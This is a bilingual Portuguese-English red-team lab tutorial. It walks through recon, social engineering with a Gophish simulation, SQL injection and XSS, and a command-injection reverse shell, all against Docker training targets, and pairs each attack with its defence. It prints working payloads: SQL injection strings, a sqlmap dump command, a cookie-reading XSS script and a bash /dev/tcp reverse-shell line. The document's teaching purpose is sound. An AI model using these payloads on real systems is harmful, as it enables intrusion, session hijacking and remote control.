Hands-on lab

Red team, the 80/20.

The attack lifecycle, social engineering, web exploitation and reverse shells — each one in a safe Docker lab, each one paired with the defence that stops it.

Antes de começar: o ciclo e o laboratórioBefore you start: the lifecycle and the lab

"Red team" é o time que ataca de propósito, com contrato e limites claros, para encontrar falhas antes de quem não tem boas intenções encontrar. Esta nota é um 80/20 do que esse time faz: as fases de um ataque, uma ferramenta ou técnica típica de cada uma, e — tão importante quanto — a defesa que neutraliza cada uma delas. Tudo aqui roda contra alvos de laboratório que você mesmo sobe em Docker, nunca contra sistemas de terceiros."Red team" is the group that attacks on purpose, under contract and clear boundaries, to find flaws before someone without good intentions does. This note is an 80/20 of what that group does: the phases of an attack, a typical tool or technique for each, and — just as important — the defence that neutralises each one. Everything here runs against lab targets you spin up yourself in Docker, never against someone else's systems.

Isto não é um manual de invasão: é um mapa, no nível de uma certificação como CompTIA Security+/PenTest+ ou de um curso introdutório de OSCP/eJPT. As técnicas citadas são de conhecimento público (MITRE ATT&CK, OWASP) e os laboratórios usam alvos feitos de propósito para serem atacados (DVWA, Metasploitable, Juice Shop). Testar qualquer uma delas fora de um laboratório seu, ou sem um contrato de pentest assinado, pode ser crime — mesmo "só para ver se funciona".This is not a how-to-break-in manual: it is a map, at the level of a CompTIA Security+/PenTest+ certification or an introductory OSCP/eJPT course. The techniques named are public knowledge (MITRE ATT&CK, OWASP) and the labs use targets built on purpose to be attacked (DVWA, Metasploitable, Juice Shop). Trying any of this outside a lab of your own, or without a signed pentest contract, can be a crime — even "just to see if it works".

O ciclo de um ataqueThe attack lifecycle

Recon Acesso inicialInitial access ExecuçãoExecution EscaladaPrivilege escalation PersistênciaPersistence Movimento lateralLateral movement ExfiltraçãoExfiltration Baseado nas táticas do MITRE ATT&CK — o catálogo público de técnicas usado por ofensiva e defesa.Based on MITRE ATT&CK tactics — the public technique catalogue used by both offence and defence.
Cada seção desta nota cobre um elo desta cadeia, com o conceito, um laboratório seguro e a defesa.Each section of this note covers one link of this chain, with the concept, a safe lab and the defence.

O laboratório: tudo em Docker, isoladoThe lab: all in Docker, isolated

Os exercícios usam três alvos de treino bem conhecidos, cada um feito de propósito para ter falhas: DVWA (Damn Vulnerable Web Application), OWASP Juice Shop e Metasploitable2. Uma rede Docker própria os isola da sua rede real — releia a seção de Docker da nota de segurança e redes antes de começar, se ainda não viu como a rede de contêineres funciona.The exercises use three well-known training targets, each built on purpose to have flaws: DVWA (Damn Vulnerable Web Application), OWASP Juice Shop and Metasploitable2. A Docker network of its own isolates them from your real network — re-read the Docker section of the security and networking note first if you have not seen how container networking works.

mkdir lab-redteam && cd lab-redteam
cat > docker-compose.yml <<'EOF'
services:
  dvwa:
    image: vulnerables/web-dvwa
    ports: ["127.0.0.1:8081:80"]     # só no seu localhost, nunca 0.0.0.0
    networks: [lab]
  juice-shop:
    image: bkimminich/juice-shop
    ports: ["127.0.0.1:8082:3000"]
    networks: [lab]
  kali:
    image: kalilinux/kali-rolling
    command: sleep infinity
    networks: [lab]
networks:
  lab:
    driver: bridge
EOF
docker compose up -d
docker compose exec kali bash -c "apt update && apt install -y nmap curl netcat-traditional sqlmap"
docker compose exec kali nmap -sV dvwa juice-shop   # confirma que os dois alvos estão de pé

Resultado esperado: o nmap mostra a porta 80 (DVWA) e 3000 (Juice Shop) abertas, com os respectivos servidores web identificados. As portas publicadas (-p) ficam só em 127.0.0.1: nada disso fica acessível de fora do seu computador.Expected result: nmap shows port 80 (DVWA) and 3000 (Juice Shop) open, with their web servers identified. The published ports are bound only to 127.0.0.1: none of this is reachable from outside your computer.

Reconhecimento: mapear antes de tocarRecon: mapping before touching

Antes de atacar qualquer coisa, um red team levanta o máximo de informação possível sem tocar no alvo diretamente (recon passivo) e só depois toca de leve para confirmar (recon ativo, como o nmap que você já viu).Before attacking anything, a red team gathers as much information as possible without touching the target directly (passive recon), and only afterwards touches it lightly to confirm (active recon, like the nmap you already saw).

TécnicaTechniqueO que revelaWhat it revealsFerramenta típicaTypical tool
WHOIS e DNSWHOIS and DNSdono do domínio, servidores de e-mail, subdomíniosdomain owner, mail servers, subdomainswhois, dig
Motores de busca especializadosSpecialised search enginesdispositivos e serviços expostos na internet, por empresa/paísdevices and services exposed on the internet, by company/countryShodan, Censys
Metadados de arquivos públicosMetadata in public filesnomes de funcionários, software usado, caminhos internos, em PDFs/DOCX do siteemployee names, software used, internal paths, in the site's PDFs/DOCXexiftool
Redes sociais e vazamentos públicosSocial media and public breach datae-mails, cargos, senhas reutilizadas de vazamentos antigos (para phishing e senha)emails, job titles, reused passwords from old breaches (for phishing and passwords)LinkedIn, Have I Been Pwned
Enumeração de subdomíniosSubdomain enumerationmais superfície de ataque do que o site principal sugeremore attack surface than the main site suggestsamass, subfinder

Um script simples de enumeraçãoA simple enumeration script

Os times profissionais usam ferramentas prontas (amass, subfinder); entender o script por trás ajuda a saber o que elas realmente fazem.Professional teams use ready-made tools (amass, subfinder); understanding the script behind them helps you know what they actually do.

#!/usr/bin/env python3
# enum_subdominios.py — tenta resolver cada nome de uma lista contra um domínio.
# Uso educacional: rode só contra domínios SEUS ou de laboratório (ex.: um domínio de teste seu).
import socket
import sys

dominio = sys.argv[1]                     # ex.: meulab.test
palavras = ["www", "api", "dev", "staging", "vpn", "mail", "admin"]

for palavra in palavras:
    alvo = f"{palavra}.{dominio}"
    try:
        ip = socket.gethostbyname(alvo)
        print(f"{alvo} -> {ip}")
    except socket.gaierror:
        pass                               # não existe; segue para o próximo

Resultado esperado: uma lista de subdomínios que de fato resolvem para um IP, a partir de uma lista de palavras comuns — a mesma lógica, só que com listas de milhares de palavras e em paralelo, por trás de ferramentas como o amass.Expected result: a list of subdomains that actually resolve to an IP, from a list of common words — the same logic, just with lists of thousands of words and running in parallel, behind tools like amass.

Defesa: reduzir o que existe para ser encontradoDefence: shrink what there is to find

  • Inventário de ativos: você só protege o que sabe que existe. Mantenha um inventário de domínios, subdomínios e serviços expostos — é também o que o atacante está tentando reconstruir.Asset inventory: you only protect what you know exists. Keep an inventory of domains, subdomains and exposed services — it is also what the attacker is trying to reconstruct.
  • Remova metadados de arquivos publicados (muitas suítes de escritório fazem isso ao exportar para PDF).Strip metadata from published files (many office suites do this on PDF export).
  • Monitore menções e vazamentos da sua organização (Have I Been Pwned tem uma API para domínios inteiros).Monitor mentions and leaks of your organisation (Have I Been Pwned has an API for whole domains).
  • Desative subdomínios e serviços que não são mais usados; um "dev.empresa.com" esquecido costuma ter a configuração mais fraca de todas.Disable subdomains and services no longer in use; a forgotten "dev.company.com" usually has the weakest configuration of all.

Engenharia social: o elo mais exploradoSocial engineering: the most exploited link

A maioria das invasões reais não começa com um exploit técnico: começa com uma pessoa confiando em quem não devia. Engenharia social é a técnica de manipular essa confiança. É também, segundo relatórios anuais de resposta a incidentes (como o Verizon DBIR), o vetor inicial mais comum de violação de dados — mais do que qualquer vulnerabilidade de software.Most real breaches do not start with a technical exploit: they start with a person trusting someone they should not have. Social engineering is the technique of manipulating that trust. It is also, according to annual incident-response reports (like the Verizon DBIR), the most common initial breach vector — more than any single software vulnerability.

Os seis princípios de influência (Cialdini)The six principles of influence (Cialdini)

O psicólogo Robert Cialdini catalogou os gatilhos que fazem pessoas dizerem "sim" — e são exatamente os que um pretexto de engenharia social explora.Psychologist Robert Cialdini catalogued the triggers that make people say "yes" — and they are exactly the ones a social-engineering pretext exploits.

PrincípioPrincipleComo aparece num ataqueHow it shows up in an attack
AutoridadeAuthority"Sou do suporte de TI / da diretoria" — um crachá falso, um e-mail que parece do chefe"I'm from IT support / from the board" — a fake badge, an email that looks like it's from the boss
Urgência/escassezUrgency/scarcity"Sua conta será bloqueada em 1 hora" — não dá tempo de pensar ou confirmar"Your account will be locked in 1 hour" — no time to think or verify
Prova socialSocial proof"Todo o seu time já preencheu isso" — nomes reais de colegas aumentam a credibilidade"Your whole team already filled this out" — real colleagues' names boost credibility
Simpatia/afinidadeLikingum perfil falso que parece interessado nos mesmos hobbies, antes de pedir algoa fake profile that seems interested in the same hobbies, before asking for something
ReciprocidadeReciprocityum "favor" pequeno antes (segurar a porta, ajudar com algo) antes do pedido reala small "favour" first (holding the door, helping with something) before the real ask
Compromisso/coerênciaCommitment/consistencyfazer a pessoa concordar com algo pequeno primeiro, depois pedir maisgetting the person to agree to something small first, then asking for more

As táticas mais comunsThe most common tactics

TáticaTacticComo funcionaHow it works
PhishingPhishinge-mail em massa fingindo ser de um serviço confiável, com um link ou anexo maliciosomass email pretending to be from a trusted service, with a malicious link or attachment
Spear phishingSpear phishingphishing dirigido a UMA pessoa, com detalhes reais sobre ela (cargo, projetos, colegas) para parecer legítimophishing aimed at ONE person, with real details about them (role, projects, colleagues) to look legitimate
VishingVishinga mesma ideia, por telefone — "sou do banco, preciso confirmar seu código"the same idea, by phone — "I'm from the bank, I need to confirm your code"
PretextingPretextinguma história inventada e consistente (um técnico, um auditor, um novo funcionário) para justificar um pedido fora do comuma made-up, consistent story (a technician, an auditor, a new hire) to justify an out-of-the-ordinary request
BaitingBaitingdeixar um pendrive "esquecido" no estacionamento, esperando que alguém o conecte por curiosidadeleaving a "lost" USB drive in the parking lot, hoping someone plugs it in out of curiosity
TailgatingTailgatingseguir alguém por uma porta com controle de acesso, sem crachá próprio, confiando na educação da pessoafollowing someone through an access-controlled door with no badge of their own, relying on politeness

Laboratório: uma campanha de phishing simuladaLab: a simulated phishing campaign

Gophish é um framework de código aberto feito exatamente para isso: equipes de segurança o usam para treinar a própria organização, enviando phishing simulado e medindo quem clicou — sem nenhum dado real sendo roubado.Gophish is an open-source framework built exactly for this: security teams use it to train their own organisation, sending simulated phishing and measuring who clicked — with no real data ever stolen.

docker run -d --name gophish -p 127.0.0.1:3333:3333 -p 127.0.0.1:8080:80 gophish/gophish
docker logs gophish 2>&1 | grep -i "password"   # a senha inicial do admin fica nos logs do container
# abra https://localhost:3333 (aceite o certificado autoassinado) e entre com admin / a senha acima

No painel, crie: um "Sending Profile" (um servidor SMTP de teste, como o Mailtrap, que captura e-mails sem enviá-los de verdade), um "Landing Page" (uma cópia visual de uma tela de login, só para medir cliques) e um grupo de "alvos" com e-mails fictícios seus. Dispare a campanha e veja o painel mostrar, em tempo real, quem abriu o e-mail e quem clicou — é exatamente essa métrica que times de segurança usam para medir o risco humano da própria empresa.In the panel, create: a "Sending Profile" (a test SMTP server, like Mailtrap, which captures emails without really sending them), a "Landing Page" (a visual copy of a login screen, just to measure clicks) and a "targets" group with fictional emails of your own. Launch the campaign and watch the panel show, in real time, who opened the email and who clicked — this is exactly the metric security teams use to measure their own company's human risk.

Resultado esperado: o painel do Gophish mostra uma linha do tempo com "Email Sent" → "Email Opened" → "Clicked Link" para cada alvo de teste, sem que nenhum e-mail real tenha saído (o Mailtrap intercepta tudo). É assim que uma empresa mede sua taxa de cliques antes e depois de um treinamento de conscientização.Expected result: the Gophish dashboard shows a timeline with "Email Sent" → "Email Opened" → "Clicked Link" for each test target, with no real email ever leaving (Mailtrap intercepts everything). This is how a company measures its click rate before and after an awareness training.

Defesa: processo e cultura, não só filtro de spamDefence: process and culture, not just a spam filter

ControleControlReduzReduces
SPF, DKIM e DMARC no domínioSPF, DKIM and DMARC on the domaine-mails forjados "de" o seu próprio domínio chegando a outras empresas, e vice-versaemails forged "from" your own domain reaching other companies, and vice versa
MFA resistente a phishing (chaves FIDO2/passkeys)Phishing-resistant MFA (FIDO2 keys/passkeys)uma senha roubada sozinha não é mais suficiente para entrara stolen password alone is no longer enough to log in
Cultura de verificação ("ligue de volta pelo número oficial")A verification culture ("call back on the official number")pedidos urgentes e fora do padrão por e-mail/telefone sozinhourgent, out-of-the-ordinary requests by email/phone alone
Treinamento recorrente + campanhas simuladas (como a do Gophish acima)Recurring training + simulated campaigns (like the Gophish one above)a taxa de cliques cai de forma mensurável com práticathe click rate measurably drops with practice
Crachá visível + política de "sem exceção" para tailgatingVisible badge + a "no exceptions" tailgating policyacesso físico não autorizadounauthorised physical access
Desabilitar USB autorun; política de "achou, entregue, não conecte"Disable USB autorun; a "found it, hand it in, don't plug it in" policyataques de baiting com pendriveUSB baiting attacks

Exploração: SQL injection e XSSExploitation: SQL injection and XSS

"Exploração" é usar uma falha específica para fazer um sistema fazer algo que não deveria. A grande maioria das falhas exploradas em aplicações web cabe nas categorias do OWASP Top 10, a lista mais citada do setor. Os dois exemplos abaixo rodam contra o DVWA do laboratório desta nota (nível de segurança "low", de propósito)."Exploitation" is using a specific flaw to make a system do something it should not. The vast majority of flaws exploited in web applications fall into the categories of the OWASP Top 10, the industry's most-cited list. The two examples below run against this note's lab DVWA (security level "low", on purpose).

SQL injection: a consulta que você não escreveuSQL injection: the query you did not write

Quando uma aplicação cola a entrada do usuário direto dentro de uma consulta SQL, em vez de tratá-la como um VALOR, o usuário pode mudar a estrutura da consulta. É a falha mais didática que existe, e ainda uma das mais comuns em código legado.When an application pastes user input straight into a SQL query, instead of treating it as a VALUE, the user can change the query's structure. It is the most teachable flaw there is, and still one of the most common in legacy code.

-- o que o formulário de login do DVWA MONTA por baixo (vulnerável)
SELECT * FROM users WHERE username = '$usuario' AND password = '$senha';

-- se você digitar isto no campo "usuario":
' OR '1'='1

-- a consulta vira:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';
-- '1'='1' é sempre verdadeiro: a condição inteira vira verdadeira, login sem senha certa

No DVWA (módulo "SQL Injection", nível low), digite 1 OR 1=1 no campo de busca por ID de usuário. Resultado esperado: em vez de um usuário, a consulta retorna TODOS — a mesma lógica do exemplo acima, mas lendo dados em vez de pular uma senha.In DVWA ("SQL Injection" module, low level), type 1 OR 1=1 in the user-ID search field. Expected result: instead of one user, the query returns ALL of them — the same logic as the example above, but reading data instead of skipping a password.

# a mesma falha, encontrada automaticamente (ferramenta padrão do setor)
docker compose exec kali sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<copie do navegador>; security=low" --batch --dump
sqlmap automatiza exatamente esse raciocínio: testa dezenas de variações da injeção até achar uma que funcione. É a ferramenta padrão de pentest para esse tipo de falha — e também o que um time de defesa roda contra a própria aplicação antes de ela ir para produção.sqlmap automates exactly this reasoning: it tries dozens of injection variants until one works. It is the standard pentest tool for this kind of flaw — and also what a defence team runs against its own application before it goes to production.

Cross-site scripting (XSS): a entrada que vira códigoCross-site scripting (XSS): input that becomes code

Se a aplicação devolve a entrada do usuário para a página HTML sem tratar, o navegador de QUEM VISUALIZAR executa o que foi digitado. No Juice Shop, procure um campo de busca ou comentário e tente:If the application echoes user input back into the HTML page without treating it, the browser of WHOEVER VIEWS IT executes what was typed. In Juice Shop, find a search or comment field and try:

<script>alert(document.cookie)</script>

Resultado esperado: uma caixa de alerta aparece mostrando o cookie da sessão — prova de que o navegador executou código que veio de um campo de texto. Num ataque real, em vez de alert(), esse script manda o cookie para um servidor do atacante, que o usa para assumir a sessão da vítima sem saber a senha dela.Expected result: an alert box appears showing the session cookie — proof the browser executed code that came from a text field. In a real attack, instead of alert(), that script sends the cookie to an attacker's server, who uses it to take over the victim's session without knowing their password.

Defesa: tratar toda entrada como hostilDefence: treat all input as hostile

FalhaFlawDefesa principalMain defence
SQL injectionSQL injectionconsultas parametrizadas / prepared statements (NUNCA concatenar texto do usuário no SQL) — veja a nota de Postgresparameterised queries / prepared statements (NEVER concatenate user text into SQL) — see the Postgres note
XSSXSSescapar toda saída por padrão (a maioria dos frameworks modernos já faz isso) + um Content-Security-Policy restritivoescape all output by default (most modern frameworks already do this) + a strict Content-Security-Policy
AmbasBothvalidação de entrada no servidor (nunca só no navegador), princípio do menor privilégio no usuário do banco, scanner de dependências/SAST no CIserver-side input validation (never only in the browser), least privilege on the database user, a dependency/SAST scanner in CI
GeralGeneralum WAF (Web Application Firewall) como camada extra — nunca a únicaa WAF (Web Application Firewall) as an extra layer — never the only one

Do comando ao shell: o que vem depoisFrom command to shell: what comes next

Quando uma falha permite executar comandos no servidor (não só ler dados), o próximo passo típico é abrir um shell reverso: o servidor vulnerável se conecta DE VOLTA para uma máquina do atacante, que fica ouvindo numa porta. "Reverso" porque é o alvo que inicia a conexão — o que costuma atravessar firewalls configurados só para bloquear conexões de ENTRADA.When a flaw allows running commands on the server (not just reading data), the typical next step is opening a reverse shell: the vulnerable server connects BACK to an attacker machine, which is listening on a port. "Reverse" because the target initiates the connection — which tends to sail through firewalls configured only to block INBOUND connections.

seu "kali" (ouvindo)your "kali" (listening) nc -lvnp 4444 DVWA (vulnerável)DVWA (vulnerable) campo de comandocommand field ← conecta de volta← connects back O alvo INICIA a conexão para você; muitos firewalls só filtram quem tenta entrar, não quem tenta sair.The target INITIATES the connection to you; many firewalls only filter inbound attempts, not outbound ones.
A lógica de um shell reverso: o "ataque" é convencer o alvo a rodar o comando de conexão.The logic of a reverse shell: the "attack" is convincing the target to run the connect-back command.

Exercício: do campo de comando ao shellExercise: from the command field to a shell

# 1. no seu "kali" (laboratório): abra um ouvinte
docker compose exec kali nc -lvnp 4444

# 2. no DVWA (módulo "Command Injection", nível low), no campo que pede um IP para "ping",
#    digite (troque pelo IP do container kali: docker inspect lab-redteam-kali-1):
127.0.0.1; bash -c 'bash -i >& /dev/tcp/IP_DO_KALI/4444 0>&1'

Resultado esperado: o terminal do nc no kali ganha um prompt interativo DENTRO do contêiner do DVWA — digite whoami ou id e veja o usuário do servidor web respondendo, como se você tivesse um terminal lá. É exatamente assim que um "ponto de apoio" inicial vira controle de um sistema.Expected result: the nc terminal on kali gets an interactive prompt INSIDE the DVWA container — type whoami or id and see the web server's user answer, as if you had a terminal there. This is exactly how an initial "foothold" becomes control of a system.

Depois do shell: o que um atacante fariaAfter the shell: what an attacker would do

FasePhaseIdeiaIdeaFerramenta citada (sem instruções)Tool named (no instructions)
Escalada de privilégioPrivilege escalationprocurar binários SUID, cron jobs mal configurados, senhas em arquivos — veja a nota de Linux, seção de permissõeslooking for SUID binaries, misconfigured cron jobs, passwords in files — see the Linux note, permissions sectionlinPEAS
PersistênciaPersistencedeixar uma forma de voltar depois (uma chave SSH extra, um serviço, uma tarefa agendada)leaving a way back later (an extra SSH key, a service, a scheduled task)—
Movimento lateralLateral movementusar o host comprometido como ponte para alcançar outras máquinas da mesma rede interna (o mesmo princípio do ssh -D da nota de segurança e redes)using the compromised host as a bridge to reach other machines on the same internal network (the same idea as ssh -D in the security and networking note)proxychains
Comando e controle (C2)Command and control (C2)em vez de um nc simples, um framework cifrado, resiliente a quedas, para controlar vários hosts de uma vezinstead of plain nc, an encrypted, drop-resilient framework to control several hosts at onceMetasploit, Sliver, Cobalt Strike
ExfiltraçãoExfiltrationcopiar dados para fora, muitas vezes disfarçados de tráfego comum (DNS, HTTPS)copying data out, often disguised as ordinary traffic (DNS, HTTPS)—
Esta tabela é um mapa de conceitos, de propósito sem comandos prontos para as fases depois do shell — são exatamente as etapas que mais dependem do alvo específico, e as mais fáceis de usar mal fora de um contrato de pentest. Para praticar de verdade e com segurança, plataformas como TryHackMe e Hack The Box (já citadas na nota de segurança e redes) têm máquinas inteiras desenhadas para isso.This table is a map of concepts, deliberately without ready-made commands for the phases after the shell — these are exactly the steps that depend most on the specific target, and the easiest to misuse outside a pentest contract. To practise for real and safely, platforms like TryHackMe and Hack The Box (already named in the security and networking note) have whole machines designed for this.

Defesa: supor que alguém vai conseguir um shellDefence: assume someone will get a shell

ControleControlReduzReduces
Filtragem de saída (egress filtering)Egress filteringum shell reverso precisa que o SERVIDOR consiga abrir uma conexão de saída não usual — bloqueie isso por padrãoa reverse shell needs the SERVER to open an unusual outbound connection — block that by default
Princípio do menor privilégioLeast privilegeo usuário que roda a aplicação web não deveria ter permissão de executar comandos do sistemathe user running the web application should not have permission to run system commands
EDR / monitoramento de processosEDR / process monitoringalerta quando um processo de servidor web gera um shell filho (bash, sh, powershell) — um padrão muito incomum e muito usado para detecçãoalerts when a web server process spawns a child shell (bash, sh, powershell) — a very unusual pattern and a common detection signature
Segmentação de redeNetwork segmentationlimita até onde um host comprometido consegue "andar" (movimento lateral)limits how far a compromised host can "walk" (lateral movement)
Backups testados e offlineTested, offline backupsreduz o impacto se tudo mais falhar — veja a regra 3-2-1 na nota de Postgresreduces the impact if everything else fails — see the 3-2-1 rule in the Postgres note

Cola e revisãoCheat sheet and review

Cola: o ciclo e a defesa de cada faseCheat sheet: the lifecycle and each phase's defence

FasePhasePergunta que o atacante fazQuestion the attacker asksDefesa principalMain defence
ReconRecono que existe, publicamente?what exists, publicly?inventário de ativos, remover metadados, monitorar vazamentos
Engenharia socialSocial engineeringquem confia em quem, e por quê?who trusts whom, and why?MFA resistente a phishing, cultura de verificação, treinamento
ExploraçãoExploitationo que essa entrada faz se eu mudar o formato dela?what does this input do if I change its shape?consultas parametrizadas, escapar saída, validar no servidor
Shell / execuçãoShell / executionconsigo rodar um comando meu aqui?can I run a command of mine here?menor privilégio, filtragem de saída, EDR
Escalada e persistênciaEscalation and persistencecomo viro alguém com mais poder, e fico?how do I become someone with more power, and stay?patches, auditoria de SUID/cron, menor privilégio
Movimento lateralLateral movementque outras máquinas esse host alcança?what other machines can this host reach?segmentação de rede, firewall interno
ExfiltraçãoExfiltrationcomo tiro dados sem ser notado?how do I get data out unnoticed?filtragem de saída, DLP, alertas de anomalia

Perguntas de revisãoReview questions

PerguntaQuestionRespostaAnswer
Por que um pentest precisa de um contrato antes de começar?Why does a pentest need a contract before it starts?Porque as mesmas técnicas, sem autorização por escrito e escopo definido, são crime em praticamente todo lugar.Because the same techniques, without written authorization and a defined scope, are a crime almost everywhere.
Qual a diferença entre recon passivo e ativo?What is the difference between passive and active recon?Passivo não toca o alvo (WHOIS, Shodan); ativo manda pacotes para ele (nmap).Passive never touches the target (WHOIS, Shodan); active sends packets to it (nmap).
Por que o phishing é o vetor inicial mais comum, segundo os relatórios do setor?Why is phishing the most common initial vector, per industry reports?Explora confiança humana, que é mais difícil de corrigir com uma atualização do que uma falha de software.It exploits human trust, which is harder to patch than a software flaw.
O que uma consulta parametrizada evita, que concatenar texto não evita?What does a parameterised query prevent that concatenating text does not?Trata a entrada do usuário sempre como um VALOR, nunca como parte da estrutura do comando SQL.It always treats user input as a VALUE, never as part of the SQL command's structure.
Por que um shell reverso costuma passar por firewalls que bloqueiam entrada?Why does a reverse shell usually get past firewalls that block inbound traffic?Porque é o ALVO que inicia a conexão de saída, não o atacante que tenta entrar.Because the TARGET initiates the outbound connection, not the attacker trying to get in.
O que é movimento lateral?What is lateral movement?Usar um host já comprometido como ponte para alcançar outras máquinas da mesma rede.Using an already-compromised host as a bridge to reach other machines on the same network.
Cite dois controles que reduzem o risco de engenharia social sem depender só do usuário perceber.Name two controls that reduce social-engineering risk without relying solely on the user noticing.MFA resistente a phishing e SPF/DKIM/DMARC no domínio (entre outros: segmentação, menor privilégio).Phishing-resistant MFA and SPF/DKIM/DMARC on the domain (among others: segmentation, least privilege).